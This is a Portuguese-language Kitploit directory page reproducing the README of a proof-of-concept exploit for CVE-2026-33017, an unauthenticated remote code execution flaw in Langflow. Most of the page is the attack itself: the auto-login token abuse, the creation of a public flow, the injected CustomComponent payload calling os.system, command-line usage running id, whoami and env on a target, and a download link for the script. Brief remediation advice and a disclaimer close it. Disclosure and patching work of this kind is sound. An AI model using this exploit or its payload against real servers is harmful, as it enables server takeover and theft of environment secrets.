Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-33017-langflow-rce — Proof-of-concept para CVE-2026-33017, demonstrando execução remota de código não autenticada em versões vulneráveis do Langflow através de injeção maliciosa de código CustomComponent. | Kitploit
Ferramentas/GitHubGitHub/arensballiu/cve-2026-33017-langflow-rce
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubarensballiu/cve-2026-33017-langflow-rce

CVE-2026-33017-langflow-rce

Proof-of-concept para CVE-2026-33017, demonstrando execução remota de código não autenticada em versões vulneráveis do Langflow através de injeção maliciosa de código CustomComponent.

Ver Repositório
1há 5h 7mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-33017 — Execução Remota de Código (RCE) Não Autenticada no Langflow

Visão Geral

ID CVE: CVE-2026-33017
Software Afetado: Langflow Versões Vulneráveis: <= 1.8.2 Versão Corrigida: >= 1.9.0 Severidade: Crítica
Autor: arensballiu
Data: 2026

Descrição

O Langflow expõe um endpoint público de construção de fluxo (/api/v1/build_public_tmp/{flowID}/flow) que aceita blocos de código CustomComponent arbitrários e os executa no lado do servidor sem autenticação. Ao injetar um payload Python malicioso no campo code de um nó CustomComponent, um atacante não autenticado pode executar comandos arbitrários do sistema operacional com os privilégios do processo do servidor Langflow.

A cadeia de ataque primeiro abusa do endpoint /api/v1/auto_login, que emite um token bearer sem exigir credenciais quando o Langflow está sendo executado em sua configuração padrão de auto-login. Em seguida, usa esse token para criar um fluxo público temporário e disparar a execução de código no lado do servidor através do endpoint de construção.

Um arquivo docker está incluído, o qual cria uma instância docker com o langflow instalado e em execução.

Endpoints Afetados

EndpointMétodoAutenticação NecessáriaPropósito
/api/v1/auto_loginGETNãoObter token bearer (auto-login deve estar habilitado)
/api/v1/flows/POSTSim (Bearer)Criar um novo fluxo
/api/v1/build_public_tmp/{flowID}/flowPOSTNão (público)Disparar construção — ponto de execução vulnerável
/api/v1/flows/{flowID}DELETESim (Bearer)Limpar o fluxo criado

Prova de Conceito

Arquivo: CVE-2026-33017_POC.py

Requisitos

  • Python 3.x
  • Biblioteca requests
  • Acesso de rede a uma instância do Langflow em execução com auto-login habilitado
root@kitploit:~
pip install requests

Uso

root@kitploit:~
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]

Argumentos

FlagForma LongaObrigatórioDescrição
-u--urlSimURL base da instância do Langflow
-c--commandSimComando do SO a executar no servidor
-d--deleteNãoExcluir o fluxo criado após a exploração

Exemplos

Verificar execução de código:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

Recuperar variáveis de ambiente do servidor:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

Manter o fluxo ativo após a exploração (pular limpeza):

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

Saída Esperada

root@kitploit:~
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!

Detalhamento do Payload

O exploit injeta o seguinte trecho Python no campo code de um nó CustomComponent:

root@kitploit:~
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="Result", name="output", method="run")]
    def run(self):
        return "ok"
  • __import__('os').system(...) - importa dinamicamente o módulo os e executa o comando de shell fornecido pelo atacante no servidor.
  • O restante da definição da classe é um CustomComponent válido, necessário para satisfazer o carregador de componentes do Langflow sem gerar um erro de análise.
  • O fluxo é criado como PUBLIC e o endpoint de construção é invocado em seu endpoint público, o que significa que nenhum cookie de sessão ou token de autenticação é necessário para disparar a execução.

Causa Raiz

O sistema CustomComponent do Langflow permite que código Python arbitrário seja submetido como parte de uma definição de fluxo. O endpoint /api/v1/build_public_tmp/{flowID}/flow constrói e avalia parcialmente esse código no lado do servidor, incluindo instruções em nível de módulo, sem sandbox ou restrição de acesso a built-ins do Python, como __import__.

Resumo da Cadeia de Ataque

root@kitploit:~
1. GET /api/v1/auto_login          →  Obter token Bearer (nenhuma credencial necessária)
2. POST /api/v1/flows/             →  Criar um fluxo PUBLIC (token Bearer)
3. POST /api/v1/build_public_tmp/  →  Injetar e executar CustomComponent malicioso (sem autenticação)
4. DELETE /api/v1/flows/{id}       →  Limpar (opcional)

Todas as quatro etapas podem ser executadas por um atacante anônimo contra uma implantação padrão do Langflow.

Remediação

  • Atualize o Langflow para a versão 1.9.0 ou superior.
  • Desabilite o auto-login (LANGFLOW_AUTO_LOGIN=false) em qualquer implantação exposta à internet.

Aviso Legal

Esta prova de conceito é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada. O uso deste script contra sistemas sem permissão escrita explícita é ilegal e antiético. O autor e os contribuidores não assumem qualquer responsabilidade pelo uso indevido.

Baixar ferramenta